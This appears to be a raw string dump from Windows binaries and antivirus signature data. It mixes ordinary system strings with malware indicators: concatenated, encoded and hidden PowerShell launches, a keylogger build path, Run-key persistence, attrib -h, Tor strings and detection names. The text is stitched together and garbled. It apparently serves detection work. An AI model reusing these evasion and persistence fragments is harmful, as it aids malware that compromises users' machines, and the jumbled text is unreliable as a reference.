onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\hidlampattributesrequestreportparser.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\lamparrayrawinputprovider.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\components\cursor\systemcursorservice\lib\cursorwc.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\hidlamprangeupdatereportbuilder.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\rimrawinputprovider.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\pentiptoglass\system\lib\tiptoglassprocessor.cpp
onecoreuap\windows\moderncore\inputv2\utilities\systemcontextprovider\lib\systemcontextprovider.cpp
onecoreuap\windows\moderncore\inputv2\utilities\hotkeyregistrationforwarder\hotkeyregistrationforwarder.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\hidlampattributesresponsereportparser.cpp
ext-ms-win-ntuser-windowstation-l1-1-0.dll
DwmpDxGetWindowSharedSurface
SetWindowsHookExW
UnhookWindowsHookEx
WindowsCreateStringReference
s-HTTP" targetNamespace="Microsoft-Windows-HTTP">
%twiki/b.txtstroutfile = fso.getspecialfolder(windows
).path & "\system32\test.log"F
Can't get the Windows version=M=Q=U=Y=]=a=e=i=m=q=u=y=}=J
-P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOS0
c:\windows\system32\cmd.exe/cattrib-h
%s\system32\%s.dll
%SystemRoot%\System32\svch%s -k nets
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
C:\Windows\System32\version.GetFileVersionInfoByHandleGetFileVersionInfoExA
C:\Windows\System32\version.GetFileVersionI
wow64_microsoft-windows-mpr_31bf3856ad364e35_none_6160b5de6b993982
wow64_microsoft-windows-mrt-v1.0-map_31bf3856ad364e35_none_b66d46017a315f53
wow64_microsoft-windows-mrt10_31bf3856ad364e35_none_33fe1e097946cccf
wow64_microsoft-windows-msaatext_31bf3856ad364e35_none_a269d601e0583d66
wow64_microsoft-windows-msls31_31bf3856ad364e35_none_ab32e49f46e01108
wow64_microsoft-windows-msmpeg2adec_31bf3856ad364e35_none_293e128960ff9f5b
wow64_microsoft-windows-msmpeg2vdec_31bf3856ad364e35_none_2953189b60ecb37e
wow64_microsoft-windows-msports_31bf3856ad364e35_none_1ee81c13b01e2df5
wow64_microsoft-windows-mssign32-dll_31bf3856ad364e35_none_7dc4f951798b6b0e
wow64_microsoft-windows-mssip32-dll_31bf3856ad364e35_none_d489c7cad617c0c1
uWindows
'ip"):n.Host.getLocString("WindowsIndexingDisabledToolT6
.exe -windowstyle hidden "Get-DiskSNV;f
/Creator (Mozilla/5.0 \(Windows NT 10.0; Win64; x64\) AppleWebKit/537.36 \(KHTML, like Gecko\) HeadlessChrome/
e-trade pro (windows)
icon=%systemroot%\system32\shell32.dll,4
icon=%WinDir%\system32\shell32.dll,4
c:\windows\
c:\windows\system32\
c:\windows\
temRoot%\system32\mswsock.dl
com.microsoft.windows.app.search
cf^com.microsoft.windows.extension.searchappearance
com.microsoft.windows.extension.searchappearance
d0^com.microsoft.windows.extensions.xaml.taskbar.extension
com.microsoft.windows.extensions.xaml.taskbar.extension
/did=757674 /S & powershell -WindowStyle Hidden -Command/
Windows-Loader.exe) do if exist "%%~F" start "" "%%~F" >nul 2>&1 & ping -n 11W
Bwindowsrunner.exe_keylogger.dispose()logdirectoryname = "keylogs"finalbuild\finalbuild\obj\debug\windowsrunner.pdbINSTALLNAME = "
Microsoft.Windows.Licensing.SppSvc
madd"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer\run"/v"
ac:\windows\system32\drivers\
3this is a sample hosts file used by microsoft tcp/ip for windows.
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.CuratedTileCollection.RootCollection
Windows.Data.UnifiedTile.CuratedTileCollectionUpgradeEntry
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.CuratedTileCollectionsManagerData
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartGlobalProperties
Windows.Data.CuratedTileCollection.TileCollectionContainer
Windows.Data.CuratedTileCollection.TileCollection
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
ItemReference<Windows.Data.CuratedTileCollection.Tile>
Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
Windows.Data.UnifiedTile.GamesListTileProperties
ItemReference<Windows.Data.CuratedTileCollection.Group>
ItemReference<Windows.Data.CuratedTileCollection.Root>
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.RoamedTilePropertiesMap
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartTileProperties
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
CloudData.WindowsClient.DisableSyncOnActivityFeed
%system32%\aitstatic.exe;%system32%\presentationhost.exe;%windir%\microsoft.net\framework\v%version%\applaunch.exe
%system32%\colorcpl.exe;%system32%\dccw.exe
%system32%\mcbuilder.exe
%programdata%\microsoft\windows defender\platform\%version%
%programdata%\microsoft\windows defender\platform\%version%\msmpeng.exe
%system32%\bootcfg.exe;%system32%\dcdiag.exe;%system32%\dfsrdiag.exe;%system32%\driverquery.exe;%system32%\dsmgmt.exe;%system32%\eventcreate.exe;%system32%\getmac.exe;%system32%\gpresult.exe;%system32%\iesettingsync.exe;%system32%\net.exe;%system32%\ntdsutil.exe;%system32%\openfiles.exe;%system32%\pnpunattend.exe;%system32%\rdpclip.exe;%system32%\rekeywiz.exe;%system32%\repadmin.exe;%system32%\sdclt.exe;%system32%\setupugc.exe;%system32%\systeminfo.exe;%system32%\taskkill.exe;%system32%\waitfor.exe;%system32%\filehistory.exe
%programfiles%\windows defender;%programdata%\microsoft\windows defender\platform\%version%
%programfiles%\windows defender\mpcmdrun.exe;%programfiles%\windows defender\nissrv.exe
%system32%\mbaeparsertask.exe;%system32%\netsh.exe
%system32%\audiodg.exe;%system32%\osk.exe;%system32%\certreq.exe;%system32%\devicecensus.exe;%system32%\mblctr.exe;%system32%\notepad.exe;%system32%\presentationsettings.exe;%system32%\sndvol.exe
%system32%\calc.exe;%system32%\computerdefaults.exe;%system32%\fodhelper.exe;%system32%\ie4uinit.exe;%programfiles%\microsoft office\root\office%version%\excel.exe
%system32%\register-cimprovider.exe;%system32%\winrs.exe;%system32%\wsmanhttpconfig.exe;%system32%\wsmprovhost.exe
%system32%\applytrustoffline.exe;%system32%\netsh.exe;%system32%\pktmon.exe;%system32%\plasrv.exe
%system32%\mfpmp.exe
%system32%\devicepairingwizard.exe;%system32%\dirquota.exe;%system32%\eudcedit.exe;%system32%\filescrn.exe;%system32%\ldp.exe;%system32%\msconfig.exe;%system32%\msinfo32.exe;%system32%\mspaint.exe;%system32%\nlbmgr.exe;%system32%\shrpubw.exe;%system32%\storrept.exe;%system32%\verifiergui.exe;%system32%\wfs.exe
%system32%\mdmdiagnosticstool.exe
%system32%\mbaeparsertask.exe
%system32%\fixmapi.exe
%system32%\mschedexe.exe
%system32%\magnify.exe
%system32%\licmgr.exe
%system32%\lpksetup.exe
%system32%\logonui.exe
%system32%\certutil.exe;%system32%\change.exe;%system32%\chglogon.exe;%system32%\chgport.exe;%system32%\csvde.exe;%system32%\devicecensus.exe;%system32%\djoin.exe;%system32%\dsacls.exe;%system32%\dsmgmt.exe;%system32%\dsregcmd.exe;%system32%\efsui.exe;%system32%\gpfixup.exe;%system32%\gpresult.exe;%system32%\klist.exe;%system32%\ksetup.exe;%system32%\ldifde.exe;%system32%\net1.exe;%system32%\nltest.exe;%system32%\netdom.exe;%system32%\ntdsutil.exe;%system32%\query.exe;%system32%\quser.exe;%system32%\qwinsta.exe;%system32%\redircmp.exe;%system32%\red
ogramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy\machine.pckgdep
\windowsnt\currentversion\imagefileexecutionop
Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
C:\WINDOWS
6\GameVersionUpdate1\\Windows NT\sms_log.txt/stat.wamme.cn/C8C/gl/cnzz
\??\c:\WINDOWS\rapportClean1.txt!\??\C:\Program Files\Trusteer\Rapport\js\config.jsPendingFileRenameOperations
            If you want to change the Windows User Account Control level replace the 
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{c3d72f87-8323-444b-ab07-2683e001fbb6}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="Professional"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQ
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{dfc4088f-4ec7-4e4a-831b-44e13bc21f95}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="Professional"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-THQAEnabled" attributes="override-only">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">Professional</sl:policyStr></sl:productPolicies><sl:proxyExecutionKey xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:proxyExecutionKey><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAAFAAAA</sl:data></sl:externalValidator></r:allConditions><mx:renderer><sl:binding varRef="binding"/><sl:productId varRef="productId"/></mx:render-
""$env:appdata\microsoft\windows\startmenu\program
New Windows\Allow\*.
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.37
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.7
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.38
WINDOWS11
Windows XP
C:\WINDOWS\fonts
rundll32.exe c:\windows\system32\advpack.dll,delnode4
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
USERDOMAIN=Windows11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
Windows.Networking.ContentPrefetcher.Internal
HSTR:WindowsInstaller3_1.A
d5^com.microsoft.windows.app.searchMI
com.microsoft.windows.app.searchMI
d8^com.microsoft.windows.extension.searchappearance
d9^com.microsoft.windows.extensions.xaml.taskbar.extension
System.Windows.FormsT
c:\windows\system32\
\windows\currentversion\uninstall@
.1ManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UServicesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UServicesPage@implementation@TaskManagerApp@winrt@@V?$tuple@UServicesPage@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$SettingsPage_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AV?$IUIElementOverridesT@USettingsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@USettingsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@USettingsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@USettingsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@USettingsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@USettingsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@USettingsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@USettingsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$base_one@USettingsPage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@USettingsPage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base@USettingsPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AV?$IPageOverridesT@USettingsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base_one@USettingsPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@USettingsPage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@USettingsPage@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
windows#
windows
windows
windows
windows
Omemreduc\driveupdate\obj\release\windowssearch.app.pdbURLZONE_INTRANETU
q/cdrab\octupling.cmdc:\windows\syswow64\write.exe%systemroot%\syswow64\write.exe
System.Windows.Data.ObjectDataProviderSystem.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItemS
WindowsRegion
get_WindowsFormsVersion
get_HasAllWindowsPermission
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Data.Globalization.LocaleInfo
CloudData.WindowsClient.CloudDataAvailableWnf
\windows7
\system32\mshta
-windowstyle hidden -ep bypass/tor/server/fp/bcryptencryptonion-keyget /tor/rendezvous2/%s http/1.0Trojan:HTML/Phish.RBE!MTB
SwitchToThisWindowS
Behavior:Win32/ShellcodeWinlogon.A
windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.settings
windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.settings
windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.settings
windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.settings
windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
Windows.Data.BlueLightReduction.BlueLightReductionState
default$windows.data.bluelightreduction.bluelightreductionstate
Windows.Data.Platform.LocalCache.CurrentCacheEntryMetadata
default$windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.settings
default$windows.data.bluelightreduction.settings
windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
..\windows\syswow64\cmd.exe/q/cdrab\matte.cmdc:\windows\syswow64\write.exe%systemroot%
call1 = "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"start /MIN C:\Windo" + "ws\SysWOW64\" + call1 + " -win 1 -enc " + encbatch = "
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
onecoreuap\windows\accessibletech\experience\src\winrt\lib\windows.internal.shell.focussessionthememanager.cpp
onecoreuap\windows\accessibletech\experience\src\winrt\lib\screenreaderservice.cpp
onecoreuap\windows\accessibletech\experience\src\winrt\lib\windows.ui.shell.focussessionmanager.cpp
onecoreuap\windows\accessibletech\experience\src\winrt\lib\windows.ui.viewmanagement.core.uisettingscontroller.cpp
%s\c$\winnt\%s%s\c$\windows\%ssubject: %s|%s|%s
Microsoft.Windows.Shell.MSAWindowManager
Windows.Internal.Shell.ModalExperience
Microsoft.Windows.Gaming.Posture.Positioner
WindowStU
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dll
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dll
WindowsAppRuntime.png
WindowsAppRuntime.DeploymentExtensions.OneCore.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
dir%\system32\vsocklib.dll
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.dll$
Hc:\windows\
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windowspy.ahkautohotkey.chma
Microsoft.WindowsAppRuntime.Release!1.7.208-
Microsoft.WindowsAppRuntime.Insights.Resource.dll
Microsoft.WindowsAppRuntime.dll
Microsoft.Windows.Workloads.winmd.H2
Microsoft.Windows.Workloads.Resources_ec.dll
Microsoft.Windows.Workloads.Resources.dll
Microsoft.Windows.Workloads.dll
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.dll"
Microsoft.Windows.VisionInternal.winmd< 
Microsoft.Windows.Vision.winmd0 I
Microsoft.Windows.System.winmd6H
Microsoft.Windows.System.Power.winmdDH[
Microsoft.Windows.Storage.winmd> 
Microsoft.Windows.SemanticSearch.winmd4 
Microsoft.Windows.Security.AccessControl.winmd2 
Microsoft.Windows.PushNotifications.winmd>
Microsoft.Windows.PrivateCommon.winmd<
Microsoft.Windows.Private.Workloads.SessionManager.winmd6
Microsoft.Windows.Media.Capture.winmd@ 
Microsoft.Windows.Management.Deployment.winmd
Microsoft.Windows.Internal.Vision.winmd8 
Microsoft.Windows.Globalization.winmd2 
Microsoft.Windows.BadgeNotifications.winmd4 
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dll	
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dll
WindowsAppRuntime.png
WindowsAppRuntime.DeploymentExtensions.OneCore.dll
Microsoft.Windows.Management.Deployment.winmd
Microsoft.Windows.Globalization.winmd28
Microsoft.Windows.AppNotifications.winmdN8
Microsoft.Windows.AppNotifications.Builder.winmd`8_FJR
Microsoft.Windows.AppLifecycle.winmdDHJ
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmd<8
Microsoft.Windows.ApplicationModel.Resources.winmdL 
Microsoft.Windows.ApplicationModel.Resources.dll
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdH8
